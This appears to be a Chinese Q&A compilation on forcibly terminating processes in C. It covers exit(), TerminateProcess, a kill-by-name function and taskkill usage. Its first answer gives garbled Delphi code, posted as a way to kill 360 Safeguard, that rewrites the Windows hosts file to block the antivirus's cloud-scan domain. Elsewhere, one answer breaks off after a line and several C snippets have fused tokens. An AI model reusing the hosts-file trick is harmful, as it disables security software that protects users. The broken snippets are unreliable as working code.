Ⅰ 用c語言寫一個強制退出360安全衛士的程序
成功完美幹掉360V6.2的delphi 源碼樓主可以仔細看下自己寫成C語言好了procere AntiYunScan;
var
Syspath:array of PChar;
Mole,Mole1:LongWord;
Size:Integer;
Data: pointer;
BytesRead,BytesRead1:DWORD;
begin
SetLength(Syspath,255);
GetSystemDirectory(PChar(Syspath),255);
strcat(PChar(Syspath),'\drivers\etc\hosts');
CopyFile(PChar(Syspath),'C:\1.txt',False);
OpenTxt('C:\1.txt',27.0.0.1 qup.f.360.cn');
Mole := CreateFile('C:\1.txt', GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
Mole1 := CreateFile(PChar(Syspath),GENERIC_WRITE,FILE_SHARE_READ,nil,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
Size := GetFileSize(Mole, nil);
GetMem(Data, size);
ReadFile(Mole, Data^, size, BytesRead, nil);
CloseHandle(Mole);
WriteFile(Mole1, Data^, size, BytesRead1, nil);
FreeMem(Data);
CloseHandle(Mole1);
end;
Ⅱ C語言用什麼語句終止整個程序
C語言用exit()語句可以終止整個程序。
C語言中,exit()通常是用在子程序中用來終結程序用的,使用後程序自動結束,跳回操作系統。exit(0) 表示程序正常退出;exit(1)、exit(-1)表示程序異常退出。在整個程序中,只要調用exit,就會結束程序。
exit()函數所在的頭文件是stdlib.h,需要將該頭文件引入後使用。
(2)c語言強退黑名單進程擴展閱讀:
exit()函數內部實際操作過程:
1、調用atexit()注冊的函數(出口函數),按ATEXIT注冊時相反的順序調用所有由它注冊的函數,這使得我們可以指定在程序終止時執行自己的清理動作.例如,保存程序狀態信息於某個文件,解開對共享資料庫上的鎖等.
2、調用cleanup()來關閉所有打開的流,這將導致寫所有被緩沖的輸出,刪除用TMPFILE函數建立的所有臨時文件.
3、最後調用_exit()函數終止進程。
Ⅲ 如何用用C語言掛起(或暫停)QQ的進程
結束當前進程或程序的話,只需要調用exit函數。 如果需要結束非當前進程的其它進程則一般需要藉助操作系統提供的系統函數。 如在windows操作系統中可以調用TerminateProcess來結束某進程。 在linux操作系統中可以調用Kill來結束某進程
Ⅳ 怎麼用C語言寫一個關閉後台某進程的程序
//kill進程from名字
BOOL KillProcessFromName(LPCSTR lpProcessName)
{
//創建進程快照(TH32CS_SNAPPROCESS表示創建所有進程的快照)
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//PROCESSENTRY32進程快照的結構體
PROCESSENTRY32 pe;
//實例化後使用Process32First獲取第一個快照的進程前必做的初始化操作
pe.dwSize = sizeof(PROCESSENTRY32);
//下面的IF效果同:
//if(hProcessSnap == INVALID_HANDLE_VALUE) 無效的句柄
if(!Process32First(hSnapShot,&pe))
{
return FALSE;
}
CString strProcessName = lpProcessName;
//將字元串轉換為小寫
strProcessName.MakeLower();
//如果句柄有效 則一直獲取下一個句柄循環下去
while (Process32Next(hSnapShot,&pe))
{
//pe.szExeFile獲取當前進程的可執行文件名稱
CString scTmp = pe.szExeFile;
//將可執行文件名稱所有英文字母修改為小寫
scTmp.MakeLower();
//比較當前進程的可執行文件名稱和傳遞進來的文件名稱是否相同
//相同的話Compare返回0
if(!scTmp.Compare(strProcessName))
{
//從快照進程中獲取該進程的PID(即任務管理器中的PID)
DWORD dwProcessID = pe.th32ProcessID;
HANDLE hProcess = ::OpenProcess(PROCESS_TERMINATE,FALSE,dwProcessID);
::TerminateProcess(hProcess,0);
CloseHandle(hProcess);
return TRUE;
}
scTmp.ReleaseBuffer();
}
strProcessName.ReleaseBuffer();
return FALSE;
}
以殺死qq程序為例,我們可以通過下列方式:
KillProcessFromName("qq.exe");
Ⅳ 怎麼用c語言結束某進程
首先你要知道該進程的PID
如果在windows下可以用tskill PID命令來實現,如果是c語言,只需要用system函數就可以實現
#include"stdio.h"
#include"stdlib.h"
intmain()
{
system("tskillXXXX");
return0;
}
其中XXXX就是你需要傳入的進程的PID
如果是linux或者unix的系統
則用kill命令:
#include"stdio.h"
#include"stdlib.h"
intmain()
{
system("killXXXX");
return0;
}
XXX一樣是進程的PID
Ⅵ C語言退出死循環的命令
1、首先用void main()語句編寫出整體的框架。
Ⅶ c語言怎麼關閉正在運行的應用程序
可以通過system 函數,調用dos命令taskkill實現關閉正在運行的應用程序。
如
system("taskkill /im notepad.exe");
會關閉記事本應用。
system("taskkill \F /pid 1234 \T");
會強制結束pid為1234的進程及其子進程。
關於taskkill的詳細描述如下:
TASKKILL [/S system [/U username [/P [password]]]] { [/FI filter] [/PID processid | /IM imagename] } [/F] [/T]
參數列表:
/S system 指定要連接到的遠程系統。
/U [domain\]user 指定應該在哪個用戶上下文
執行這個命令。
/P [password] 為提供的用戶上下文指定密碼。如果忽略,提示輸入。
/F 指定要強行終止的進程。
/FI filter 指定篩選進或篩選出查詢的的任務。
/PID process id 指定要終止的進程的PID。
/IM image name 指定要終止的進程的圖像名。通配符 '*'可用來指定所有圖像名。
/T Tree kill: 終止指定的進程和任何由此啟動的子進程。
/? 顯示幫助/用法。
篩選器:
篩選器名 有效運算符 有效值
----------- --------------- --------------
STATUS eq, ne 運行 | 沒有響應
IMAGENAME eq, ne 圖像名
PID eq, ne, gt, lt, ge, le PID 值
SESSION eq, ne, gt, lt, ge, le 會話編號
CPUTIME eq, ne, gt, lt, ge, le CPU 時間,格式為
hh:mm:ss。
hh - 時,
mm - 鍾,ss - 秒
MEMUSAGE eq, ne, gt, lt, ge, le 內存使用,單位為 KB
USERNAME eq, ne 用戶名,格式為
[domain\]user
MODULES eq, ne DLL 名
SERVICES eq, ne 服務名
WINDOWTITLE eq, ne 窗口標題
注意: 只有帶有篩選器的情況下,才能跟 /IM 切換使用通配符 '*'。
注意: 遠程進程總是要強行終止,
不管是否指定了 /F 選項。
Ⅷ 求用c語言關閉進程源代碼,windows7 64位
結束自身,用exit(0);
結束其它的
你需要查找到該程序的進程名後者進程號
然後用system調用系統的taskkill
具體命令語法,在命令行輸入taskkill /?
Ⅸ 如何強制結束進程
1、ntsd強制結束命令
其實只需要通過兩個命令來強制性的結束這些進程,第一個命令就是ntsd命令,先要找到PID值,這個PID值是在任務管理器上面可以查看的到,在任務管理器上線點擊「查看--選擇列」在彈出的選擇進程頁列窗口上面將PID前面的勾選起來即可看到進程PID值。
Ⅹ c語言中強制退出語句是什麼啊
區分應用環境及功能,有以下幾種:
1 強制退出整個程序。
可以調用exit()函數。
調用該函數需要引用頭文件stdlib.h。
該函數需要一個int型的參數,用來把執行結果返回給主調進程。
比如exit(0)相當於在主函數中返回0, exit(-1)相當於在主函數中返回-1等。
2 強制退出循環。
在循環中可以通過調用break語句來實現強制跳出循環。
3 強制退出函數。
在任意函數中,均可調用return語句實現強制退出函數。如果是在主函數main中,使用return也可以做到強制退出整個程序。